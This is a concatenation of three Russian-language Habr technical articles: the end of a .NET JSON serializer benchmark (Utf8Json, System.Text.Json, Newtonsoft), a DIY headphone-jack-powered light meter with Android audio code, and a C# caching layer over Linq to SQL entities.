int count = 0;
Stopwatch sw = new Stopwatch();
sw.Start();
while (sw.Elapsed < TimeSpan.FromSeconds(1))
{
count++;
await DoRequest(json, client, serialize);
}
Console.WriteLine("Requests in one second: " + count);
}
private async Task DoRequest(string json, HttpClient client, bool serialize)
{
if (serialize)
await DoSerializeRequest(client);
else
await DoDeserializeRequest(json, client);
}
private async Task DoDeserializeRequest(string json, HttpClient client)
{
var uri = new Uri(HttpsLocalhost + "mvc/DeserializeThousandSmallClassList");
var content = new StringContent(json, Encoding.UTF8, "application/json");
var result = await client.PostAsync(uri, content);
result.Dispose();
}
private async Task DoSerializeRequest(HttpClient client)
{
var uri = HttpsLocalhost + "mvc/SerializeThousandSmallClassList";
var result = await client.GetAsync(uri);
result.Dispose();
}
}
```
Этот клиент будет непрерывно отправлять запросы в течение 1 секунды, подсчитывая их.
### Результаты
Итак, без лишних слов, вот результаты:
> Более точные показатели можно посмотреть [здесь](https://github.com/michaelscodingspot/PracticalDebugging/blob/master/Benchmarks/Serializers/benchmark_results.md#deserialize-on-server)
**Utf8Json** с огромным отрывом превзошел другие сериализаторы. Это не было большим сюрпризом после предыдущих тестов.
Что касается сериализации, **Utf8Json** в 2 раза быстрее, чем **System.Text.Json**, и в 4 раза быстрее, чем **Newtonsoft**. Для десериализации **Utf8Json** в 3,5 раза быстрее, чем **System.Text.Json**, и в 6 раз быстрее, чем **Newtonsoft**.
Единственный сюрприз для меня здесь — то, насколько плохо работает **Newtonsoft.Json**. Вероятно, это связано с проблемой UTF-16 и UTF-8. Протокол HTTP работает с текстом UTF-8. Newtonsoft преобразует этот текст в строковые типы .NET, которые являются UTF-16. Эти накладные расходы не присутствуют ни в **Utf8Json**, ни в **System.Text.Json**, которые работают напрямую с UTF-8.
Важно отметить, что этим бенчмаркам не следует доверять на 100%, поскольку они могут не полностью отражать реальный сценарий. И вот почему:
* Я запускал все на своем локальном компьютере — как клиент, так и сервер. В реальном сценарии сервер и клиент находятся на разных машинах.
* Клиент отправляет запросы один за другим в одном потоке. Это означает, что сервер не принимает более одного запроса за раз. В реальном сценарии ваш сервер будет принимать запросы в нескольких потоках с разных машин. Эти сериализаторы могут действовать по-разному при одновременном обслуживании нескольких запросов. Возможно, некоторые используют больше памяти для повышения производительности, что не так хорошо при одновременном выполнении нескольких операций. Или, возможно, некоторые результируют в [давлении GC](https://michaelscodingspot.com/avoid-gc-pressure/). Это маловероятно с Utf8Json, который не использует аллокаций.
* В [тесте Microsoft](https://devblogs.microsoft.com/dotnet/try-the-new-system-text-json-apis/#user-content-systemtextjson-in-aspnet-core-mvc) они получали гораздо больше запросов в секунду (в некоторых случаях более 100 000). Конечно, это, вероятно, связано с указанными выше двумя пунктами и меньшей полезной нагрузкой, но все же это подозрительно.
* В контрольных показателях легко ошибиться. Возможно, я что-то упустил или что сервер можно оптимизировать с помощью какой-то конфигурации.
С учетом всего вышесказанного эти результаты довольно невероятны. Кажется, что можно значительно улучшить время отклика, правильно подобрав сериализатор JSON. Переход с **Newtonsoft** на **System.Text.Json** увеличит количество запросов в 2-7 раз, а переход с **Newtonsoft** на **Utf8Json** улучшит в 6–14 раз. Это не совсем справедливо, потому что настоящий сервер будет делать гораздо больше, чем просто принимать аргументы и возвращать объекты. Вероятно, он будет делать и другие вещи, например, работать с базами данных и, следовательно, исполнять некоторую бизнес-логику, поэтому время сериализации может играть меньшую роль. Тем не менее, эти цифры невероятны.
### Выводы
Давайте подытожим:
* Новый сериализатор **System.Text.Json** в большинстве случаев быстрее, чем **Newtonsoft.Json** (во всех бенчмарках). Мое уважение Microsoft за хорошо проделанную работу.
* Сторонние сериализаторы оказались быстрее, чем **Newtonsoft.Json** и **System.Text.Json**. В частности, **Utf8Json** и **Jil** примерно в 2-4 раза быстрее, чем **System.Text.Json**.
* Сценарий подсчета количества запросов в секунду показал, что **Utf8Json** можно интегрировать с ASP.NET и **значительно** увеличить пропускную способность запросов. Как уже упоминалось, это не доподлинный сценарий реальных условий, и я рекомендую провести дополнительные тесты, если вы планируете изменить сериализаторы в своем приложении ASP.NET.
**Значит ли это, что мы все должны перейти на Utf8Json или Jil?** Ответ на это… возможно. Помните, что **Newtonsoft.Json** не просто так выдержал испытание временем и стал самым популярным сериализатором. Он поддерживает множество функций, был протестирован со всеми типами пограничных случаев и содержит массу документированных решений и обходных путей. И **System.Text.Json**, и **Newtonsoft.Json** очень хорошо поддерживаются. Microsoft продолжит вкладывать ресурсы и усилия в **System.Text.Json**, поэтому вы можете рассчитывать на отличную поддержку. Тогда как [Jil](https://github.com/kevin-montrose/Jil) и [Utf8Json](https://github.com/neuecc/Utf8Json) получили очень мало коммитов за последний год. На самом деле, похоже, что за последние 6 месяцев у них толком и не было особого технического обслуживания.
Один из вариантов — объединить несколько сериализаторов в вашем приложении. Перейдите на более быстрые сериализаторы для интеграции с ASP.NET для достижения превосходной производительности, но продолжайте использовать **Newtonsoft.Json** в бизнес-логике, чтобы получать максимальную выгоду от его набора функций.
Надеюсь, вам понравилась эта статья. Удачи)
### Другие бенчмарки
Несколько других бенчмарков сравнивающих различные сериализаторы
Когда Microsoft [анонсировала](https://devblogs.microsoft.com/dotnet/try-the-new-system-text-json-apis/) System.Text.Json, они продемонстрировали собственный [бенчмарк](https://devblogs.microsoft.com/dotnet/try-the-new-system-text-json-apis/#user-content-performance), сравнивающий **System.Text.Json** и **Newtonsoft.Json**. Помимо сериализации и десериализации, этот бенчмарк тестирует класс Document для произвольного доступа, Reader и Writer. Они также продемонстрировали [свой тест «Количество запросов в секунду»](https://devblogs.microsoft.com/dotnet/try-the-new-system-text-json-apis/#user-content-systemtextjson-in-aspnet-core-mvc), который вдохновил меня на создание собственного.
Репозиторий .NET Core GitHub включает в себя набор бенчмарков, подобных тем, что описаны в этой статье. Я очень внимательно посмотрел на их тесты, чтобы убедиться, что сам не делаю ошибок. Вы можете найти их в [Micro-benchmarks solution](https://github.com/dotnet/performance/tree/3b1f70c310b3f852d7084e3b10c76aa364573106/src/benchmarks/micro).
[У Jil](https://github.com/kevin-montrose/Jil) есть собственные [бенчмарки](https://github.com/kevin-montrose/Jil#serialization), которые сравнивают **Jil**, **Newtonsoft**, **Protobuf** и **ServiceStack**.
Utf8Json опубликовал набор бенчмарков, доступных на [GitHub](https://github.com/neuecc/Utf8Json/tree/master/sandbox/PerfBenchmark). Они также тестируют двоичные сериализаторы.
Алоис Краус провел отличное [всестороннее тестирование](https://aloiskraus.wordpress.com/2019/09/29/net-serialization-benchmark-2019-roundup/) самых популярных сериализаторов .NET, включая сериализаторы JSON, двоичные сериализаторы и сериализаторы XML. Его бенчмарк включает тесты производительности .NET Core 3 и .NET Framework 4.8.
---
[Узнать о курсе подробнее.](https://otus.pw/np1M/)
---
Читать ещё:
-----------
* [В двух словах: Лучшие практики Async/Await в .NET](https://habr.com/ru/company/otus/blog/488082/)
* [C# Regex в примерах](https://habr.com/ru/company/otus/blog/514594/) | https://habr.com/ru/post/515880/ | null | ru | null |
# Экспонируй это
[](https://habr.com/ru/company/ruvds/blog/589879/)
Несколько лет назад я открыл для себя DigitalRev TV. В [одном из выпусков](https://youtu.be/qIbrufzgNus) в руки Кая и Лока попадает отечественный фотоаппарат «Любитель-166», но моё внимание привлёк совсем не он. Из кожаного футлярчика Кай достаёт маленькое устройство, которое включается в разъём гарнитуры телефона — экспонометр. С тех пор эта белая полусфера не даёт мне покоя. В статье хочу поделиться опытом создания подобного устройства своими руками.
Вместо введения
---------------
Как известно, каждый сходит с ума по-своему. Есть люди, которые собирают марки, не выпускают из рук паяльник, или ходят в походы. Мне же стукнуло в голову поснимать на плёнку — запрыгнуть в последний вагон поезда уходящей эпохи.
На Хабре есть как минимум одна [хорошая статья](https://habr.com/ru/post/112822/), рассказывающая об азах фотографии, с которой стоит ознакомиться. Тем не менее кратко пройдусь по основным моментам.
Экспозиция — это величина засветки светочувствительного материала или матрицы фотоаппарата. От неё прямо зависит качество снимка. Слишком большая экспозиция (или передержка) приведёт к потере деталей в светлых участках, недостаточная (или недодержка) — к потере деталей в тенях. Номинальная экспозиция (т.е. необходимое количество освещения) называется чувствительностью фотоматериала. Идея замера экспозиции заключается в том, чтобы подобрать параметры съёмки (время выдержки и диафрагменное число — экспопару), дающие номинальную экспозицию вне зависимости от условий освещения.
Современные фотоаппараты и камеры мобильных телефонов могут делать это автоматически (или полуавтоматически, оставляя выбор части параметров за вами), но так было не всегда, и на многих старых фотоаппаратах всё делается вручную. Некоторые камеры комплектовались встроенным экспонометром, однако:
* Где-то он был опционален, найти его сейчас может быть слишком сложно и дорого.
* Его использование может быть связано с определёнными трудностями. Например, экспонометры некоторых фотоаппаратов требовали для работы ртутно-цинковые батареи, которые давно не производятся.
Одним словом, отдельный прибор – полезная в хозяйстве вещь.
Троллейбус из буханки
---------------------
*Мой экземпляр, май 1978*
Вообще, можно было не заморачиваться и найти на какой-нибудь барахолке старенький «Ленинград-4» по цене от 100 до 1000 рублей в зависимости от жадности продавца. Его должно хватить с головой, но мы не ищем лёгких путей:
* Во-первых, меня очень привлекло устройство из ролика и я люблю изобретать велосипеды. Интересно как повторить подобную конструкцию, так и разобраться в общих принципах.
* Во-вторых, пользоваться старой отечественной шкалой чувствительности не очень удобно, когда в качестве международного стандарта давно приняты единицы ASA и DIN.
* В третьих, селеновые фотоэлементы со временем теряют чувствительность. Тут уж как повезёт.
### ▍ Что и как измерять
Производить измерения можно двумя способами — по падающему и по отражённому свету. В первом случае экспонометр направляется приёмником от объекта съёмки к камере, измеряется освещённость. Во втором — наоборот, измеряется интегральная яркость сцены. Обе величины могут изменяться в очень большом диапазоне – до 120000 лк (под прямым солнечным светом) или примерно до 30000 кд/м2 (освещённый солнцем снег). Т.к. требуются конкретные величины, а не просто наличие/отсутствие света, то нужен соответствующий фотодатчик. Фоторезисторы можно сразу отбросить из-за малого динамического диапазона. Фототранзисторы выглядят интереснее, но они чувствительны преимущественно к красной и инфракрасной части спектра. Лучшим выбором мог бы стать фотодиод. При подаче обратного напряжения ток через диод растёт вместе с освещённостью, причём эта зависимость линейна. В зависимости от величины обратного напряжения фототок может достигать миллиампера (прямой солнечный свет).
### ▍ Без внятного ТЗ...
По закону жанра в процессе неоднократно будут внесены правки, первоначальный же вариант требований был сформулирован так:
#### ▍ Общие требования
Устройство предназначено для измерения освещённости. Измеренная освещённость используется для вычисления экспопары.
Питание от разъёма гарнитуры, максимальный ток потребления определяется результатами измерений.
Выход — меандр, частота которого пропорциональна освещённости
#### ▍ Частные требования
* Диапазон: 1-120000 лк.
* Точность: до ½ ступени.
* Напряжение питания: 5,0±0,1 В.
### ▍ Как дела с усилением
*«Классическое» включение фотодиода*
«Классическое» включение фотодиода представлено на схеме выше, но конкретно к этой задаче оно вряд ли подходит — поведение реальных фотоплёнок отличается от линейной зависимости. При увеличении яркости в два раза (на одну ступень) имеем равный прирост оптической плотности негатива. Кроме того, динамический диапазон играет с нами злую шутку: 90-100 дБ требуется как-нибудь запихнуть в 60 (16-20000 Гц), или, например, в 10 разрядов АЦП. Нужна компрессия сигнала.
*Логарифмический усилитель*
В теории логарифмический усилитель можно получить, используя характеристику биполярного транзистора. Согласно модели Эберса-Молла
где Iк — ток в коллекторной цепи, Iнас — ток насыщения. Тогда напряжение база-эмиттер можно выразить как
Тогда
Проблема в том, что в реальности произвести два абсолютно одинаковых транзистора с одинаковыми характеристиками невозможно. Для этих целей применяются специальные согласованные пары на одном кристалле, которые почти все сняты с производства и их поиск превращается в довольно непростой квест. Более того, коэффициент UT раскрывается как
где k — постоянная Больцмана, q — элементарный заряд, а T — абсолютная температура в Кельвинах. Нужно как-то скомпенсировать зависимость от температуры, в противном случае логарифм будет гулять. Я чувствую себя лишним на этом празднике отладки, поэтому выбор пал на LOG104 от ~~Burr-Brown~~ простите, Texas Instruments. Микросхема дорогая, но её хотя бы можно купить. Главное неудобство связано с требованием двухполярного питания и наличием опорного источника тока.
Питание
-------
Кстати о питании — именно с него всё началось, и именно из-за него я очень долго не мог решить, стоит ли вообще браться за эту затею.
### ▍ Цифры
Разъём гарнитуры имеет 4 контакта: левый канал, правый канал, общий и микрофонный вход. Согласно [спецификации,](https://source.android.com/devices/accessories/headset/jack-headset-spec?hl=en) телефон может подавать на вход вплоть до 2,9 В постоянного напряжения — фантомное питание микрофона. Запитать устройство от него не выйдет, но сама возможность в дальнейшем окажется полезной.
Единственный вариант — повышать и выпрямлять переменное напряжение с какого-либо из каналов. Здесь же становится понятно, почему использование выхода гарнитуры совсем не универсальный вариант, как могло показаться. В теории стандартный уровень сигнала для потребительской техники составляет -10 дБВ (примерно 0,3В действующего), но чего ожидать на практике от конкретного устройства могут сказать только результаты измерений. Как назло, в тот момент мой телефон был в ремонте. В поисках ответа на вопрос «а на что же примерно можно рассчитывать?», я наткнулся на [эту статью](https://bioee.ucsd.edu/papers/Efficient%20Power%20Harvesting%20from%20the%20Mobile%20Phone%20Audio%20Jack%20for%20mHealth%20Peripherals.pdf). Разброс неприятно удивил: от 256 мВ до 672 мВ действующего на канал. Тут же вспоминаем, что кроме напряжения, было бы неплохо прикинуть максимально допустимую нагрузку по току, ибо мощность тоже скачет (3-80 мВт на канал).
### ▍ Повышаем и выпрямляем
Первым в голову приходит трансформаторное питание — собственно авторы вышеупомянутой статьи и других [подобных проектов](https://hackaday.io/project/21689-smartphone-thermometer), как один используют миниатюрные [трансформаторы](https://www.coilcraft.com/en-us/products/power/coupled-inductors/1-n-shielded-coupled/lpr/lpr6235/lpr6235-253p/) от Coilcraft. В момент написания в наших краях это чудо если и продавалось, то от 12 штук при цене около 5300 рублей за партию. Найти сердечник и мотать самому? Сомнительное удовольствие.
### ▍ Паяем, пишем и измеряем
*NXP Quickjack*
Решение всё-таки нашлось. В своё время NXP выпускала [отладочную плату](https://www.nxp.com/products/no-longer-manufactured/smartphone-quick-jack-solution:OM13069), которая питалась и передавала данные как раз через разъём гарнитуры. Оттуда была нагло позаимствована идея со схемой умножителя напряжения. Ключевое отличие в том, что устройство не принимает никаких данных, поэтому для питания можно задействовать оба канала и соответственно удвоить амплитуду и мощность.
Импровизированный тестовый стенд состоит из мультиметра, осциллографа и горсти выводных сопротивлений. К этому моменту телефон вернулся из ремонта, а я купил переходник с 3,5-мм на клеммы, вытравил плату и набросал программу для теста.
**Генерация синусоиды**
```
public class Oscillator {
private static final int SAMPLE_RATE = 44100;
private boolean isPlaying;
private int bufferSize;
private int frequency;
private int phase;
private AudioTrack track;
private short[] LUT, buffer;
public Oscillator() {
frequency = 10000;
isPlaying = false;
bufferSize = AudioTrack.getMinBufferSize(SAMPLE_RATE, AudioFormat.CHANNEL_OUT_STEREO, AudioFormat.ENCODING_PCM_16BIT);
generateLUT();
buffer = new short[bufferSize];
track = init();
}
private AudioTrack init() {
return new AudioTrack(
new AudioAttributes.Builder()
.setUsage(AudioAttributes.USAGE_MEDIA)
.setContentType(AudioAttributes.CONTENT_TYPE_UNKNOWN)
.build(),
new AudioFormat.Builder()
.setSampleRate(SAMPLE_RATE)
.setEncoding(AudioFormat.ENCODING_PCM_16BIT)
.setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
.build(), bufferSize, AudioTrack.MODE_STREAM, AudioManager.AUDIO_SESSION_ID_GENERATE);
}
private void generateLUT() {
LUT = new short[SAMPLE_RATE];
for (int i = 0; i < SAMPLE_RATE; i++) {
LUT[i] = (short) ((double) Short.MIN_VALUE * (Math.sin((2.0 * Math.PI * ((double) i)) / ((double) SAMPLE_RATE))));
}
}
public void fillBuffer() {
for (int i = 0; i < bufferSize - 1; i += 2) {
phase %= SAMPLE_RATE;
buffer[i] = LUT[phase];
buffer[i + 1] = (short) -LUT[phase];
phase += frequency;
}
track.write(buffer, 0, bufferSize);
}
public void play() {
if (track.getState() != AudioTrack.STATE_INITIALIZED) track = init();
isPlaying = true;
fillBuffer();
track.play();
}
public void pause() {
if (track.getState() == AudioTrack.STATE_INITIALIZED) {
isPlaying = false;
track.pause();
track.flush();
}
}
//...
}
```
В свою очередь в MainActivity:
```
@Override
protected void onStart() {
super.onStart();
sine.play();
new Thread(() -> {
while (sine.isPlaying()) sine.fillBuffer();
}).start();
}
@Override
protected void onPause() {
super.onPause();
sine.stop();
}
```
Последний раз я притрагивался к Android SDK всерьёз ещё до появления Android Studio, поэтому Java, знакомство с Kotlin только в планах. По нажатию кнопки телефон генерирует синусоидальный сигнал в обоих каналах. Сигнал в правом канале — инвертированный левый.
*Proof of concept*
*Вожделенный синус, 10 кГц. 400 мВ амплитудного или примерно 283 мВ действующего на канал. Немного меньше того, на что рассчитывал, но тоже неплохо*
На холостом ходу, когда задействованы оба канала, напряжение на входе стабилизатора подбирается к 12В, однако при подключении нагрузки оно резко падает:
| Сопротивление нагрузки, Ом | Напряжение на выходе, В |
| --- | --- |
| Холостой ход | 4,96 |
| 1540 | 4,96 |
| 1320 | 4,09 |
| 990 | 3,73 |
| 660 | 2,85 |
16 мВт/3 мА… Маловато будет. Я думал сворачиваться на этом этапе, но на глаза попалась программа с говорящим названием Volume Booster. В одном из отзывов было написано, что это чудо не работает и ругается на некий LoudnessEnhancer… Быстрый поиск показал, что это один из классов Android API, и вскоре в код генератора добавились строки:
```
try {
amplifier = new LoudnessEnhancer(track.getAudioSessionId());
} catch (Exception e) {
Log.e(TAG, "Failed to create enhancer: ", e);
}
//...
public void gainSetEnabled(boolean enabled) {
try {
amplifier.setEnabled(enabled);
} catch (Exception e) {
Log.e(TAG, "Failed to toggle enhancer: ", e);
}
}
public void setGain(int gain) {
try {
amplifier.setTargetGain(gain);
} catch (Exception e) {
Log.e(TAG, "Failed to set gain: ", e);
}
}
```
*600 мВ на канал после применения эффекта. Итого 40,5 мВт на моём Xperia 10 plus. Практически магия*
Грандиозный облом
-----------------
Первоначальный вариант схемы представлен на иллюстрации ниже. Выход логарифмического усилителя через аттенюатор подаётся на вход ГУН.
Не могу сказать, что я параноил, однако на всякий случай всё-таки решил проверить работоспособность идеи в Tina. Результаты симуляции немного успокаивали, но меня по-прежнему беспокоил вопрос энергопотребления.
Всё это добро еле укладывалось в 40 мВт при типовых токах потребления согласно документации, а это уже предел возможностей выхода, о запасе для максимальных говорить не приходится. Плата уже была разведена и заказана, но мои опасения подтвердились. В таком виде устройство кушало слишком много, а на выходе гарнитуры начинало твориться что-то странное вроде появления постоянной составляющей.
Первое, что приходит в голову — избавиться от аттенюатора, вот только усилитель, на котором он сделан, никуда не денется. Использовать один счетверённый усилитель? Выбранные ОУ уже не отличаются аппетитом, многие сдвоенные и счетверённые усилители потребляют значительно больше. Выкидывать отсюда что-то кроме аттенюатора особо нечего.
Кажется, самое время начать с чистого листа. Первым под нож пойдёт двуполярное питание. Далее необходимо снизить напряжение с 5 хотя бы до 3,3В. В третьих — нужно более интегрированное решение.
Вариант с датчиками, с частотным выходом, как в упомянутой выше статье на hackaday отпал сам собой, т.к. всё, что я нашёл, снято с производства. Альтернативы же все как на подбор цифровые, так что от использования микроконтроллера похоже не отвертеться.
*Попытка №2. На этот раз удачная*
Подходящим решением стал датчик освещённости VEML7700 — вполне реально найти и купить, а спектральная характеристика приближена к человеческому глазу. В свою очередь, микроконтроллер занят тем, что опрашивает датчик по I2C и отправляет показания; для этих целей более чем достаточно ATtiny 13A, 85-й откровенно избыточен, однако у меня под рукой был именно он. Несмотря на простоту, тупил я над второй версией знатно – начиная всеми любимыми fuse-битами и заканчивая обращением к датчику не по тому адресу.
Из старой схемы в новую без изменений перекочевали умножитель напряжения и оптопара, на которую хочу обратить отдельное внимание. Трансформаторное питание даёт такое преимущество, как гальваническая развязка. Т.к. в качестве общего используется один из каналов, соединить земли просто так не получится. Оптопара призвана решить этот вопрос, и упомянутое ранее фантомное питание здесь придётся как никогда кстати.
Модулируем и демодулируем
-------------------------
Датчик отдаёт значение в готовом виде, эти два байта данных нужно как-то передать. Идею подсказали китайские передатчики 433-МГц диапазона. Таймеры в микроконтроллерах AVR имеют режим генерации импульсов на отведённой для этого линии; подключение/отключение таймера к ноге осуществляется записью всего в один регистр, что позволяет реализовать что-то вроде амплитудной модуляции, где «1» — наличие сигнала, а «0» — его отсутствие.
*Сверху вниз: необработанный сигнал, ФВЧ, выпрямленный сигнал, ФНЧ*
Для демодуляции на стороне телефона в теории достаточно пропустить записанный сигнал через выпрямитель и фильтр нижних частот. На практике (см. верхнюю осциллограмму) сигнал перед выпрямлением придётся дополнительно пропустить через ФВЧ.
Калибровка и расчёты
--------------------
Выдержка, диафрагма, чувствительность и освещённость связаны соотношением 
где A — диафрагменное число, T — выдержка в секундах, I — освещённость, S — чувствительность в единицах ASA, C — калибровочная константа.
В таком виде оно не очень удобно, поэтому в 1954 году компания Friedrich Deckel AG предлагает концепцию экспозиционных чисел:
где произведение NC — экспонометрическая постоянная. Пусть
 — эффективная диафрагма,
 — эффективная выдержка,
 — эффективная чувствительность (N принята равной 3,125),
 — эффективная освещённость.
Тогда
Загадочные письмена на фотоаппаратах Canon становятся чуть понятнее.
Итоги
-----
Лучшим итогом проделанной работы станет испытание в полевых условиях. По иронии судьбы я не успел обзавестись плёночным аппаратом, но ничто не мешает снимать в ручном режиме и использовать экспонометр камеры в качестве эталона. В большинстве случаев ошибка не превышала 1/3 ступени.
**Тестовые фотографии**
**Демонстрация работы**
Получившееся устройство скорее не инструмент, а забавная демонстрация концепции использования привычных вещей не по назначению. Аппаратная и в особенности программная часть далеки от совершенства – некоторые вопросы пока остались нерешёнными:
* В текущем виде устройство втыкается в беспаечную макетную плату. Подключение происходит через переходник с 3,5мм на клеммы. Очень хотелось бы найти штекер для монтажа на плату.
* Согласно спецификации, телефон считает, что к нему подключена гарнитура, если сопротивление контактом микрофона и землёй больше 100 Ом (типичное сопротивление микрофона — около 2 кОм). Проблема в том, что оптопара ведёт себя как разрыв цепи, что не даёт устройству быть автоматически обнаруженным, хотя иногда это срабатывало.
* Нет возможности проводить измерения по отражённому свету. Я честно пытался измерить яркость с помощью цифрового фотоаппарата и полученные значения вместе с освещённостью датчика загонять в Octave. Зависимость явно линейная, но получить похожие на правду результаты так и не получилось.
P.S. Возможно бывалые электронщики лишь усмехнутся — буду очень рад любой конструктивной критике, однако попрошу проявить чуть-чуть снисхождения к самоучке.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Coppermine&utm_content=eksponiruj_eto) | https://habr.com/ru/post/589879/ | null | ru | null |
# Слой кэширования поверх Linq to SQL
За последний год мы перенесли внушительную часть настроек DirectCRM в базу данных. Множество элементов промо-кампаний, которые мы до этого описывали исключительно кодом, теперь создаются и настраиваются менеджером через админку. При этом получилась очень сложная структура БД, насчитывающая десятки таблиц.
Однако, за перенос настроек в базу данных пришлось расплачиваться. Об архитектуре, позволяющий кэшировать редко меняющиеся Linq to SQL сущности, смотрите под катом.
Основным агрегатом настроек системы является промо-кампания. В промо-кампанию входит множество элементов: триггерные рассылки, призы и операции, которые потребитель может совершить на сайте. У каждого элемента есть множество настроек, которые ссылаются на другие сущности в базе. В итоге получается дерево с большой вложенностью. Чтобы вытащить это дерево, необходимо совершить десятки запросов к БД, которые негативно сказываются на производительности.
Изначально было понятно, что придется приписывать кэширование кампаний, но мы строго следовали первому правилу оптимизации — не оптимизировать, пока производительность системы нас удовлетворяет. Но, конечно же, в итоге настал момент когда без кэширования уже жить было нельзя.
Вопросов, в какой момент должен сбрасывать кэш, не было — его нужно обновлять при любом изменении кампании или ее элемента (так как кампания является агрегатом, никаких сложностей в реализации такой логики не возникает). А вот над вопросом, где этот кэш хранить и каким образом его сбрасывать, пришлось немного задуматься. Были рассмотрены следующие варианты:
* хранить кэш в Redis и очищать при редактировании кампании
* хранить кэш в Redis и перед каждым использованием делать запрос в БД для проверки, не поменялась ли дата кампании
* хранить кэш в памяти процесса и перед каждым использованием делать запрос в БД для проверки, не поменялась ли дата кампании
Вариант с использованием Redis привлекателен, так как позволяет держать только одну копию кэша для всех WEB-серверов, а не загружать его для каждого сервера, но по факту — это экономия на спичках: кампании после окончания настройки меняются редко и не важно, будет ли кэш загружен четыре раза в день или шестнадцать. Так как никаких распределенных транзакций между Redis и БД нет, сложно гарантировать, что при изменении кампании будет сброшен кэш, поэтому первый вариант отпадает.
У третьего варианта есть следующие преимущества перед вторым:
* для получения кэша нужно выполнить один запрос по сети вместо двух
* не надо возиться с сериализацией (даже если для этого достаточно поставить DataMemberAttribute у нужных полей)
В общем, проблема и общий подход к решению ясны. Дальше пойдут технические подробности.
Версия 1.0
==========
Для того, чтобы полноценно использовать в рамках текущего DataContext сущности загруженные в другом DataContext, их необходимо клонировать и зааттачить. При аттаче сущность добавляется в IdentityMap текущего DataContext. Зааттачить одну и ту же сущность к двум разным DataContext нельзя (поэтому каждый клон может использоваться только в одном DataContext, т. е. в одной бизнес транзакции). MemberwiseClone для клонирования использовать нельзя, так как при этом в клоне будут ссылки на сущности, зааттаченные к DataContext, в котором сущность была загружена, а не к текущем DataContext.
В итоге для того, чтобы можно было использовать сущности из статического кэша, в базовом классе репозитория был написан следующий код, использующий Linq MetaModel и немного Reflection:
**код**
```
public TEntity CloneAndAttach(TEntity sourceEntity)
{
if (sourceEntity == null)
throw new ArgumentNullException("sourceEntity");
var entityType = sourceEntity.GetType();
var entityMetaType = GetClonningMetaType(entityType);
var entityKey = entityMetaType.GetKey(sourceEntity);
// Проверка, не позволяющая клонировать одну и ту же сущность более одного раза.
// Кроме прочего помогает разобраться с циклическими ссылками.
if (attachedEntities.ContainsKey(entityKey))
{
return attachedEntities[entityKey];
}
var clonedObject = Activator.CreateInstance(entityType);
var clonedEntity = (TEntity)clonedObject;
attachedEntities.Add(entityKey, clonedEntity);
// клонируем поля
foreach (var dataMember in entityMetaType.Fields)
{
var value = dataMember.StorageAccessor.GetBoxedValue(sourceEntity);
dataMember.StorageAccessor.SetBoxedValue(ref clonedObject, value);
}
// клонируем EntityRef'ы
foreach (var dataMember in entityMetaType.EntityRefs)
{
var thisKeyValues = dataMember.Association.ThisKey
.Select(keyDataMember => keyDataMember.StorageAccessor.GetBoxedValue(sourceEntity))
.ToArray();
if (thisKeyValues.All(keyValue => keyValue == null))
{
continue;
}
var repository = Repositories.GetRepositoryCheckingBaseTypeFor(dataMember.Type);
var value = repository.CloneAndAttach(dataMember.MemberAccessor.GetBoxedValue(sourceEntity));
dataMember.MemberAccessor.SetBoxedValue(ref clonedObject, value);
}
// клонируем EntitySet'ы
foreach (var dataMember in entityMetaType.EntitySets)
{
var repository = Repositories
.GetRepositoryCheckingBaseTypeFor(dataMember.Type.GenericTypeArguments[0]);
var sourceEntitySet = (IList)dataMember.MemberAccessor.GetBoxedValue(sourceEntity);
var clonedEntitySet = (IList)Activator.CreateInstance(dataMember.Type);
foreach (var sourceItem in sourceEntitySet)
{
var clonedItem = repository.CloneAndAttach(sourceItem);
clonedEntitySet.Add(clonedItem);
}
dataMember.MemberAccessor.SetBoxedValue(ref clonedObject, clonedEntitySet);
}
table.Attach(clonedEntity);
return clonedEntity;
}
private ClonningMetaType GetClonningMetaType(Type type)
{
ClonningMetaType result;
// Информация о клонируемом типе кэшируется в статическом ConcurrentDictionary, чтобы не юзать Reflection каждый раз
if (!clonningMetaTypes.TryGetValue(type, out result))
{
result = clonningMetaTypes.GetOrAdd(type, key => new ClonningMetaType(MetaModel.GetMetaType(key)));
}
return result;
}
private class ClonningMetaType
{
private readonly MetaType metaType;
private readonly IReadOnlyCollection keys;
public ClonningMetaType(MetaType metaType)
{
this.metaType = metaType;
keys = metaType.DataMembers
.Where(dataMember => dataMember.IsPrimaryKey)
.ToArray();
Fields = metaType.DataMembers
.Where(dataMember => dataMember.IsPersistent)
.Where(dataMember => !dataMember.IsAssociation)
.ToArray();
EntityRefs = metaType.DataMembers
.Where(dataMember => dataMember.IsPersistent)
.Where(dataMember => dataMember.IsAssociation)
.Where(dataMember => !dataMember.Association.IsMany)
.Where(dataMember => dataMember.Member.HasCustomAttribute())
.ToArray();
EntitySets = metaType.DataMembers
.Where(dataMember => dataMember.IsPersistent)
.Where(dataMember => dataMember.IsAssociation)
.Where(dataMember => dataMember.Association.IsMany)
.Where(dataMember => dataMember.Member.HasCustomAttribute())
.ToArray();
}
public IReadOnlyCollection Fields { get; private set; }
public IReadOnlyCollection EntityRefs { get; private set; }
public IReadOnlyCollection EntitySets { get; private set; }
public ItcEntityKey GetKey(object entity)
{
return new ItcEntityKey(
metaType,
keys.Select(dataMember => dataMember.StorageAccessor.GetBoxedValue(entity)).ToArray());
}
}
```
Чтобы при клонировании, при проходе по EntityRef и EntitySet, не выгрузить половину БД, клонируются только те, которые помечены специальным атрибутом CacheableAssociationAttribute.
Так как кэш загружается в отдельном DataContext, и клонирование происходит уже после его Dispose, нам пришлось написать метод, который подгружает все кэшируемые ассоциации у загружаемой сущности:
**код**
```
public void LoadEntityForClone(TEntity entity)
{
// Проверка, устраняющая проблемы с циклическими ссылками
if (loadedEntities.Contains(entity))
{
return;
}
loadedEntities.Add(entity);
var entityType = entity.GetType();
var entityMetaType = GetClonningMetaType(entityType);
// Загружаем все EntityRef'ы
foreach (var dataMember in entityMetaType.EntityRefs)
{
var repository = Repositories.GetRepositoryCheckingBaseTypeFor(dataMember.Type);
var value = dataMember.MemberAccessor.GetBoxedValue(entity);
if (value != null)
{
repository.LoadEntityForClone(value);
}
}
// Загружаем все EntitySet'ы
foreach (var dataMember in entityMetaType.EntitySets)
{
var repository = Repositories
.GetRepositoryCheckingBaseTypeFor(dataMember.Type.GenericTypeArguments[0]);
var entitySet = (IList)dataMember.MemberAccessor.GetBoxedValue(entity);
foreach (var item in entitySet)
{
repository.LoadEntityForClone(item);
}
}
}
```
